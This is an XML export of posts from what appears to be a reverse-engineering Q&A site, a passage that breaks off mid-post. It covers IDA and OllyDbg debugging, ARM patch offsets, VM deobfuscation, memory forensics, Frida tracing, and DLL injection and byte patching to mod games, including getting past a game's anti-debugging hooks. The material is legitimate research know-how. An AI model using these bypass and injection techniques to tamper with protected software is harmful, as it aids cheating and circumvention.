  <row Id="25445" PostTypeId="1" AcceptedAnswerId="25457" CreationDate="2020-07-05T13:41:31.690" Score="0" ViewCount="203" Body="&lt;p&gt;What is the best approach when debugging a multithreaded program that is yet to be encrypted? Where is the best place to put Breakpoints using Ollydbg?&lt;/p&gt;&#xA;" OwnerUserId="33742" LastActivityDate="2020-07-07T11:05:27.247" Title="Debugging Encrypted Malware with Multiple Threads" Tags="|debugging|ollydbg|malware|winapi|thread|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25447" PostTypeId="1" AcceptedAnswerId="25450" CreationDate="2020-07-05T18:09:07.130" Score="3" ViewCount="229" Body="&lt;p&gt;Can anyone explain, why fopen takes as argument- not a file name- according to code takes some off_6A5D8C:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00537F9F                 push    offset stru_6C4E40 ; FILE *&#xA;.text:00537FA4                 call    _fclose&#xA;.text:00537FA9                 push    offset aWt      ; &amp;quot;wt&amp;quot;&#xA;.text:00537FAE                 push    offset off_6A5D8C ; char *&#xA;.text:00537FB3                 call    _fopen&#xA;.text:00537FB8                 mov     dword_83AE9C, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and I tracked this off_6A5D8C it's pointed to label loc_4C554E:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:006A5D8C ; char off_6A5D8C&#xA;.data:006A5D8C off_6A5D8C      dd offset loc_4C554E    &#xA;.data:006A5D90 ; char aWt[]&#xA;.data:006A5D90 aWt             db 'wt',0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:004C554E loc_4C554E:&#xA;.text:004C554E                 mov     esp, ebp&#xA;.text:004C5550                 pop     ebp&#xA;.text:004C5551                 retn    0Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am not expert in disassembling, may be it requires perform Undefine operation for loc_4C554E - and in this case it's looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:004C554E unk_4C554E      db  8Bh ; Ë             ; DATA XREF: .data:off_6A5D8Co&#xA;.text:004C554F                 db 0E5h ; õ&#xA;.text:004C5550                 db  5Dh ; ]&#xA;.text:004C5551                 db 0C2h ; T&#xA;.text:004C5552                 db  0Ch&#xA;.text:004C5553                 db    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Seems it is string terminated with 0. How to turn this string (file name) to readable look?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="33371" LastEditorUserId="24222" LastEditDate="2020-07-08T05:52:09.003" LastActivityDate="2020-07-08T05:52:09.003" Title="Figure out with fopen" Tags="|disassembly|x86|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25449" PostTypeId="2" ParentId="13376" CreationDate="2020-07-05T18:54:21.617" Score="2" Body="&lt;p&gt;I managed to decode the protocol on XYE connection. My findings are here &lt;a href=&quot;https://codeberg.org/xye/xye&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codeberg.org/xye/xye&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The XYE connection is the bus between a central controller and the indoor units. The bus from the indoor units to the outdoor units is labeled PQE. My units don't have the connection for that, so I can't test it.&lt;/p&gt;&#xA;&lt;p&gt;The data in the initial post look like you are missing bytes. I used a cheap RS-485 to USB converter to monitor the data. Worked great.&lt;/p&gt;&#xA;" OwnerUserId="33754" LastActivityDate="2020-07-05T18:54:21.617" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25450" PostTypeId="2" ParentId="25447" CreationDate="2020-07-05T20:45:25.300" Score="6" Body="&lt;p&gt;It takes the file name, but IDA doesn't recognise it.&lt;/p&gt;&#xA;&lt;p&gt;In this example, IDA interpreted &lt;code&gt;4&lt;/code&gt;-byte string &lt;code&gt;NUL\x00&lt;/code&gt; (&lt;code&gt;4E 55 4C 00&lt;/code&gt;) as an offset (address &lt;code&gt;0x004C554E&lt;/code&gt;) in the code. You may force it to interpret it as an ascii string simple by pressing &lt;kbd&gt;a&lt;/kbd&gt; when the cursor is on the line &lt;code&gt;006A5D8C&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The reason that the byte order is reversed is that &lt;code&gt;x86&lt;/code&gt; architecture uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;noreferrer&quot;&gt;little endian&lt;/a&gt; byte ordering, so in case you interpret &lt;code&gt;4E 55 4C 00&lt;/code&gt; as a number, the byte order will be reversed (hence &lt;code&gt;0x004C554E&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-07-05T20:45:25.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25451" PostTypeId="1" CreationDate="2020-07-06T00:52:21.890" Score="3" ViewCount="977" Body="&lt;p&gt;Dealing with VM-obfuscated code and started learning about symbolic analysis but having a hard time wrapping my head around how to practically apply it to a problem. If someone can give me some pointers, I'd greatly appreciate it.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With dynamic analysis, am I supposed to only emulate the VM to get a symbolic binding? If yes, how can I deobfuscate only that part of a binary without touching the rest and would reconstructing a new binary even work if I only touched a small part (Jump locations might be off or don't point anywhere)? How do I do that? A lot of papers I read synthesize a new C program or use llvm-ir but that's not the entire program but only the VM loop. Now how do I merge it?&lt;/li&gt;&#xA;&lt;li&gt;If I emulate the entire binary to get a symbolic representation of it (like I've seen in some CTF write-ups), wouldn't that mean I only have the representation of the main path that this binary is going? (No inputs). My reconstructed binary would lack the interactions that are not in the main trace from start to finish, no?&lt;/li&gt;&#xA;&lt;li&gt;VM-obfuscated code usually has an encryption key that changes with each opcode that is interpreted. If I have a symbolic representation, I would still not be able to arbitrarily decompile the entire virtual opcode because I don't know the encryption key at that time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On top of the confusion, the binary I am looking at right now doesn't just have one obfuscated VM loop but multiple which is apparently not uncommon when using commercial VM obfuscation. A short trace gave me over 4 structures that look like a VM loop. Debugging it showed me that the VM stack/context/registers used for pointers of each machine is different and random. So now,&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I deal with the VMs 1-by-1? As in, I reverse one until it calls the second (say VM1 calling VM2 sometime), then recompile a binary without it, then go to the next?&lt;/li&gt;&#xA;&lt;li&gt;Can I emulate the entire thing even though it means it will emulate potential dozens of VM-loops? I am guessing symbolic analysis won't really work if the registers used for internal stack and such are different over time&lt;/li&gt;&#xA;&lt;li&gt;If I have multiple VMs, how do I even know which bytecode is interpreted by which VM? I can take a guess from the sections and analyzing my trace, but again the trace I have is only for the main path and other branches of the app are not in it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My understanding from it is something like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Identify the VM loop and analyze where it stores it's context, stack pointer, opcode pointer, vmkey&lt;/li&gt;&#xA;&lt;li&gt;Create a symbolic representation of the loop and how it pulls the next opcodes&lt;/li&gt;&#xA;&lt;li&gt;Find all the handlers of the VM and create a symbol representation of them&lt;/li&gt;&#xA;&lt;li&gt;Somehow use this knowledge then to de-virtualize it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All in all, I am really confused. I read a handful of papers on it but security researchers don't really like releasing tools/code samples so it's all just theoretical and abstract.&lt;/p&gt;&#xA;" OwnerUserId="33669" LastEditorUserId="33669" LastEditDate="2020-07-06T02:21:20.753" LastActivityDate="2020-07-06T02:21:20.753" Title="How can I practically approach VM-obfuscated code with symbolic analysis/execution?" Tags="|deobfuscation|dynamic-analysis|vms|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25452" PostTypeId="1" CreationDate="2020-07-06T03:08:00.110" Score="1" ViewCount="130" Body="&lt;p&gt;I have a Ubuntu 18.04 memory dump (entire RAM), and while I was acquiring it with LiME, I had a Python program running. Using Volatility, I want to recover its data structure values which are located in Python program process heap. The &lt;code&gt;linux_proc_map&lt;/code&gt; plugin gave me the virtual addresses I should be looking through.&lt;/p&gt;&#xA;&lt;p&gt;For now, I am trying to find out how CPython PyObjects appear in memory, but I'm not sure what values to look for, so scanning for specific values will be difficult. I only know the name of the data structure...&lt;/p&gt;&#xA;&lt;p&gt;Has anyone else on here tried to recover program data structures from process memory?&lt;/p&gt;&#xA;" OwnerUserId="33755" LastActivityDate="2020-07-06T03:08:00.110" Title="How do I find Python data structures in Linux process memory using Volatility?" Tags="|digital-forensics|memory-dump|heap|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25454" PostTypeId="1" AcceptedAnswerId="25455" CreationDate="2020-07-07T07:58:50.983" Score="0" ViewCount="139" Body="&lt;p&gt;I need to patch an arm7 program by replacing this fopen function by another function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00018D68 52 D7 FF EB                       BL              fopen&#xA;&#xA;...&#xA;&#xA;.plt:0000EAB8 ; FILE *fopen(const char *filename, const char *modes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Do you know how to calculate the 24 bits that I need to write after EB?&#xA;The documentation is not very clear. I tried to find a Branch offset calculator but not found.&lt;/p&gt;&#xA;&lt;p&gt;Thx,&lt;/p&gt;&#xA;" OwnerUserId="33760" LastActivityDate="2020-07-07T08:52:00.893" Title="ARM7 32-bit Branch Offset Calculator" Tags="|ida|arm|patching|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25455" PostTypeId="2" ParentId="25454" CreationDate="2020-07-07T08:52:00.893" Score="0" Body="&lt;p&gt;you can use &lt;a href=&quot;https://www.keystone-engine.org/showcase/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.keystone-engine.org/showcase/&lt;/a&gt; assembler&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from keystone import *&#xA;target = 0xDEADBEEF&#xA;current = 0x18D68&#xA;ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)&#xA;bytes(ks.asm(&amp;quot;bl {}&amp;quot;.format(hex(target)), current)[0]).hex()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33764" LastActivityDate="2020-07-07T08:52:00.893" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25456" PostTypeId="1" CreationDate="2020-07-07T09:27:21.790" Score="1" ViewCount="113" Body="&lt;p&gt;I launch a game process then I suspend the process and restore the hooks in ntdll.dll then I attach debugger to the process and resume the process. Next I see debugger catch the 0xC0000005(access violation) exception on thread [DbgUiRemoteBreakin] and did not break on any breakpoint I seted (I had set a break point on [DbgUiRemoteBreakin]). And can not single step debug. So is there any infomation about how to solve it here?&lt;/p&gt;&#xA;" OwnerUserId="33765" LastActivityDate="2020-07-07T09:27:21.790" Title="Debugged process not break on breakpoint" Tags="|anti-debugging|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25457" PostTypeId="2" ParentId="25445" CreationDate="2020-07-07T11:05:27.247" Score="0" Body="&lt;p&gt;If the program is using standard cryptography libraries then hooking the exported functions of that library might be a good starting point&lt;/p&gt;&#xA;" OwnerUserId="33764" LastActivityDate="2020-07-07T11:05:27.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25458" PostTypeId="1" CreationDate="2020-07-08T13:41:12.397" Score="0" ViewCount="259" Body="&lt;p&gt;I am using some DLL files in my Java application using JNI library.&lt;/p&gt;&#xA;&lt;p&gt;The dlls are not written by me and I do not have access to their source codes. They are so buggy and throw lots of exceptions. Needless to say that they are making my java application unstable since unhandled exceptions in native side crash the java application.&lt;/p&gt;&#xA;&lt;p&gt;I was thinking to reverse engineer the dll files and add some &lt;code&gt;try&lt;/code&gt; and &lt;code&gt;catch&lt;/code&gt; clause there or maybe just find the culprit line and add some prevention there.&lt;/p&gt;&#xA;&lt;p&gt;The exceptions are mainly due to dereferencing a null pointer which I believe I can fix them by a couple of instructions (&lt;code&gt;cmp&lt;/code&gt; and &lt;code&gt;jmp&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;So what I am trying to ask are as follow:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it practically doable?&lt;/li&gt;&#xA;&lt;li&gt;Is IDA the right tool to do so?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Edit :&#xA;Another solution that I am guessing could fix the problem is to write a new native class and wrap all native functions that i am using in the new functions with error handling. But I have a lot of native functions and this solution could be tedious and cumbersome. So, still, reverse engineering DLLs is my number one solution. Comments are really welcome. Please share your views.&lt;/p&gt;&#xA;" OwnerUserId="19355" LastEditorUserId="19355" LastEditDate="2020-07-09T14:37:38.087" LastActivityDate="2020-07-09T14:37:38.087" Title="Can I reverse engineer a DLL file and add SEH or some error handing codes to it?" Tags="|ida|dll|patch-reversing|seh|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25459" PostTypeId="1" AcceptedAnswerId="25478" CreationDate="2020-07-08T14:06:58.637" Score="2" ViewCount="1028" Body="&lt;p&gt;I need some tip to undrestand what is the best way to execute external code from DLL or command line.&lt;/p&gt;&#xA;&lt;p&gt;I like to add the force feedback support to different games that not support it.&lt;/p&gt;&#xA;&lt;p&gt;I can write a DLL or a commnad line exe that execute the FFB. The problem is how I call these function from the game.&lt;/p&gt;&#xA;&lt;p&gt;For the moment I have disassebled one game with IDA and found the point to put the call.&lt;/p&gt;&#xA;&lt;p&gt;I don't have any experience in assembly. So I'am not sure if I'am in the right way.&lt;/p&gt;&#xA;&lt;p&gt;There are some tool like: wininject so I was think to use it to add the dll dependency to my exe game.&lt;/p&gt;&#xA;&lt;p&gt;After I need to do the call of my function inside the DLL in assembly (ex. exectute_ffb(par1) ), but I don't known the code to do the call.&lt;/p&gt;&#xA;&lt;p&gt;Here the screenshot about the call.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cILHn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cILHn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uEvtc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uEvtc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl sub_43AC70(char *a1, int a2)&#xA;{&#xA;  call my_function(a1) from mylibrary.dll&#xA;&#xA;  int i; // [esp+0h] [ebp-4h]&#xA;&#xA;  for ( i = sub_43BC50(); i; i = *(_DWORD *)i )&#xA;  {&#xA;    if ( *(_DWORD *)(i + 88) == a2 &amp;amp;&amp;amp; (!a1 || !stricmp((const char *)(i + 4), a1)) )&#xA;      return i;&#xA;  }&#xA;  return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can you help me please ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-07-08T14:12:28.723" LastActivityDate="2020-07-11T13:59:01.247" Title="dll injection (assembly code)" Tags="|disassembly|assembly|dll-injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25460" PostTypeId="2" ParentId="25394" CreationDate="2020-07-09T02:14:28.527" Score="1" Body="&lt;p&gt;First, you need to include the std libs you need&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;xtree&amp;gt;&#xA;#include &amp;lt;set&amp;gt;&#xA;#include &amp;lt;map&amp;gt;&#xA;#include &amp;lt;functional&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Second you need to remove &amp;quot;struct&amp;quot; before all the variable declarations that aren't structs&lt;/p&gt;&#xA;&lt;p&gt;and third you should delete everything from this header you don't need, it's 90% garbage&lt;/p&gt;&#xA;&lt;p&gt;remove all instances of &amp;quot;__cppobj&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;You also need to define ActorRef, World &amp;amp; WorldVtbl.&lt;/p&gt;&#xA;&lt;p&gt;I was able to remove 99% of errors by doing these things:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;xtree&amp;gt;&#xA;#include &amp;lt;set&amp;gt;&#xA;#include &amp;lt;map&amp;gt;&#xA;#include &amp;lt;functional&amp;gt;&#xA;&#xA;#define __int8 char&#xA;#define __int16 short&#xA;#define __int32 int&#xA;#define __int64 long long&#xA;&#xA;struct IPlayer&#xA;{&#xA;&#xA;};&#xA;&#xA;struct ILocalPlayer&#xA;{&#xA;&#xA;};&#xA;&#xA;struct IActor&#xA;{&#xA;&#xA;};&#xA;&#xA;template &amp;lt;class T&amp;gt;&#xA;class ActorRef&#xA;{&#xA;public:&#xA;    IPlayer* m_object;&#xA;};&#xA;&#xA;struct AIZone&#xA;{&#xA;    &#xA;};&#xA;&#xA;struct WorldVtbl&#xA;{&#xA;&#xA;};&#xA;&#xA;#define __int8 char&#xA;#define __int16 short&#xA;#define __int32 int&#xA;#define __int64 long long&#xA;&#xA;struct IPlayer;&#xA;struct ILocalPlayer;&#xA;&#xA;struct std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;    std::_Tree_node&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;, void*&amp;gt;* _Myhead;&#xA;    unsigned int _Mysize;&#xA;};&#xA;&#xA;struct std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;    std::_Tree_node&amp;lt;ActorRef&amp;lt;IActor&amp;gt;, void*&amp;gt;* _Myhead;&#xA;    unsigned int _Mysize;&#xA;};&#xA;&#xA;struct std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;unsigned int const, ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;    std::_Tree_node&amp;lt;std::pair&amp;lt;unsigned int const, ActorRef&amp;lt;IActor&amp;gt; &amp;gt;, void*&amp;gt;* _Myhead;&#xA;    unsigned int _Mysize;&#xA;};&#xA;&#xA;struct std::_Tree_val&amp;lt;std::_Tree_simple_types&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const, AIZone*&amp;gt; &amp;gt; &amp;gt; : std::_Container_base0&#xA;{&#xA;    std::_Tree_node&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const, AIZone*&amp;gt;, void*&amp;gt;* _Myhead;&#xA;    unsigned int _Mysize;&#xA;};&#xA;&#xA;struct World&#xA;{&#xA;    WorldVtbl* vfptr;&#xA;    std::set&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt;, std::less&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt;, std::allocator&amp;lt;ActorRef&amp;lt;IPlayer&amp;gt; &amp;gt; &amp;gt; m_players;&#xA;    std::set&amp;lt;ActorRef&amp;lt;IActor&amp;gt;, std::less&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt;, std::allocator&amp;lt;ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; m_actors;&#xA;    std::map&amp;lt;unsigned int, ActorRef&amp;lt;IActor&amp;gt;, std::less&amp;lt;unsigned int&amp;gt;, std::allocator&amp;lt;std::pair&amp;lt;unsigned int const, ActorRef&amp;lt;IActor&amp;gt; &amp;gt; &amp;gt; &amp;gt; m_actorsById;&#xA;    ILocalPlayer* m_localPlayer;&#xA;    unsigned int m_nextId;&#xA;    std::map&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, AIZone*, std::less&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt;, std::allocator&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const, AIZone*&amp;gt; &amp;gt; &amp;gt; m_aiZones;&#xA;};&#xA;&#xA;struct ClientWorld : World&#xA;{&#xA;    ActorRef&amp;lt;IPlayer&amp;gt; m_activePlayer;&#xA;    float m_timeUntilNextNetTick;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My opinion is using a tool like &lt;a href=&quot;https://github.com/ReClassNET/ReClass.NET&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReClass.NET&lt;/a&gt; is much easier for reversing structures and exporting header files, you should give it a try and see if it fits your needs.&lt;/p&gt;&#xA;" OwnerUserId="24265" LastActivityDate="2020-07-09T02:14:28.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25461" PostTypeId="1" CreationDate="2020-07-09T04:46:31.647" Score="2" ViewCount="360" Body="&lt;p&gt;For analyzing and reversing android apps, where the target app is installed on an android phone, usually there is a &lt;code&gt;base.apk&lt;/code&gt; file on the device, and there are various ways to find this apk file on the device and &lt;code&gt;adb pull&lt;/code&gt; it off the device.&lt;/p&gt;&#xA;&lt;p&gt;For example, on &lt;a href=&quot;https://stackoverflow.com/questions/4032960/how-do-i-get-an-apk-file-from-an-android-device&quot;&gt;stackoverflow&lt;/a&gt;, the answer by yojimbo with 1500+ upvotes, gives the following 3 steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Determine the package name of the app, e.g. &amp;quot;com.example.someapp&amp;quot;. Using &lt;code&gt;adb shell pm list packages&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Get the full path name of the APK file for the desired package. Using &lt;code&gt;adb shell pm path com.example.someapp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using the full path name from Step 2, pull the APK file from the Android device to the development box. Using &lt;code&gt;adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Sounds simple enough, and it has been so far on many apps. Then, today, I came across an app where step 2 returned not 1 but 3 apk files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;adb shell pm path the.app.package&#xA;package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/base.apk&#xA;package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.arm64_v8a.apk&#xA;package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.xxxhdpi.apk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where I have replaced the actual package name with &lt;code&gt;the.app.package&lt;/code&gt;. I'm guessing that there are parts of the code that are specific for arm64_v8a and/or xxxhdpi displays, and these are separated out into the split_config apk files? How would one begin in analyzing such apps where there's not just a base.apk but some of these additional apk files as well?&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2020-07-10T14:10:36.603" Title="Getting android app from device for reversing - what if there are multiple apks?" Tags="|binary-analysis|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25462" PostTypeId="2" ParentId="14823" CreationDate="2020-07-09T08:41:44.853" Score="2" Body="&lt;p&gt;To write the string &amp;quot;foo&amp;quot; into the memory address 0xdeadbeef:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;w foo @ 0xdeadbeef&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;To write the hex 0x41414141 to the memory address 0xdeadbeef:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;w \x41\x41\x41\x41 @ 0xdeadbeef&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I recommend also taking a look at the various options for writing using the command &lt;code&gt;w?&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12632" LastActivityDate="2020-07-09T08:41:44.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25463" PostTypeId="1" CreationDate="2020-07-09T14:18:15.523" Score="1" ViewCount="1136" Body="&lt;p&gt;i have a emulator named &amp;quot;Ldplayer&amp;quot; in my windows os and I'm trying to log all instructions executed by the app that uses ARM JNI libraries. basically, the app is running in an x86 emulator and only has arm JNI Libs, so emulation is used for the ARM Libs.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import frida, sys&#xA;ss = &amp;quot;&amp;quot;&amp;quot;&#xA;Java.perform(function() {&#xA;    const System = Java.use('java.lang.System');&#xA;    const Runtime = Java.use('java.lang.Runtime');&#xA;    const VMStack = Java.use('dalvik.system.VMStack');&#xA;&#xA;    System.loadLibrary.implementation = function(library) {&#xA;        try {&#xA;            console.log('System.loadLibrary(&amp;quot;' + library + '&amp;quot;)');&#xA;            const loaded = Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), library);&#xA;            return loaded;&#xA;        } catch(ex) {&#xA;            console.log(ex);&#xA;        }&#xA;    };&#xA;    &#xA;    System.load.implementation = function(library) {&#xA;        try {&#xA;            console.log('System.load(&amp;quot;' + library + '&amp;quot;)');&#xA;            const loaded = Runtime.getRuntime().load0(VMStack.getCallingClassLoader(), library);&#xA;            return loaded;&#xA;        } catch(ex) {&#xA;            console.log(ex);&#xA;        }&#xA;    };&#xA;});&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;device = frida.get_device_manager().add_remote_device('127.0.0.1:27042')&#xA;pid = device.spawn([&amp;quot;com.testapp&amp;quot;])&#xA;session = device.attach(pid)&#xA;script = session.create_script(ss)&#xA;script.load()&#xA;device.resume(pid)&#xA;sys.stdin.read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this code list all libraries loaded when the app starts, but when i do&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Module.findBaseAddress('libtest.so');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;it always returns null, in the end of the day i just want to log all the instructions being executed by the process so i can get the faulty instruction and search it up in the ida to patch it.&#xA;if there's any other tool i can achieve the same than please suggest me also, process don't support attaching a debugger!&lt;/p&gt;&#xA;" OwnerUserId="33709" LastActivityDate="2020-07-09T14:18:15.523" Title="Instruction trace using frida in android emulator" Tags="|debugging|x86|android|arm|frida|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="25464" PostTypeId="1" CreationDate="2020-07-10T05:54:17.710" Score="2" ViewCount="154" Body="&lt;p&gt;I am reverse engeneering a really old game (Mu 97d) for the sake of adding new things to the game.&#xA;What I am doing is intercepting the game with a DLL, and in the DLL do the calculations so I can add the new things.&lt;/p&gt;&#xA;&lt;p&gt;I have this code that intercepts an 'if' statement, and I redirect it to my own function - based on the input - my function returns true or false.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C code:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* Called on player load - 12 bytes */&#xA;*(BYTE*)(0x004798CD  + 0) = 0x50;  /* PUSH EAX */&#xA;*(BYTE*)(0x004798CD  + 1) = 0xE8;  /* CALL */&#xA;*(DWORD*)(0x004798CD + 2) = (DWORD)&amp;amp;Unk11 - (0x004798CD + 6); /* FUNCTION TO CALL */&#xA;*(BYTE*)(0x004798CD  + 6) = 0x85;  /* TEST */&#xA;*(BYTE*)(0x004798CD  + 7) = 0xC0;  /* EAX, EAX */&#xA;*(BYTE*)(0x004798CD  + 8) = 0x58;  /* POP EAX */&#xA;*(BYTE*)(0x004798CD  + 9) = 0x74;  /* JE */&#xA;*(BYTE*)(0x004798CD  + 10) = 0x15;  /* 15 */&#xA;*(BYTE*)(0x004798CD  + 11) = 0x90;  /* NOP */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;ASM part that I am intercepting&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;004798A1  |.  81E7 FF000000 AND EDI,000000FF&#xA;004798A7  |.  8D0440        LEA EAX,[EAX*2+EAX]&#xA;    004798AA  |.  C1E0 02       SHL EAX,2&#xA;004798AD  |.  99            CDQ&#xA;004798AE  |.  F7FF          IDIV EDI&#xA;004798B0  |.  8BD8          MOV EBX,EAX&#xA;004798B2  |.  B8 67666666   MOV EAX,66666667&#xA;004798B7  |.  F7EF          IMUL EDI&#xA;004798B9  |.  D1FA          SAR EDX,1&#xA;004798BB  |.  8BC2          MOV EAX,EDX&#xA;004798BD      03D3          ADD EDX,EBX&#xA;004798BF      C1E8 1F       SHR EAX,1F&#xA;004798C2      8D5410 04     LEA EDX,[EDX+EAX+4]&#xA;004798C6      66:0156 12    ADD WORD PTR DS:[ESI+12],DX&#xA;004798CA      66:8B06       MOV AX,WORD PTR DS:[ESI]&#xA;004798CD      66:3D 8301    CMP AX,183 ]---------------------- FROM HERE&#xA;004798D1      7C 1A         JL SHORT 004798ED&#xA;004798D3      66:3D 8601    CMP 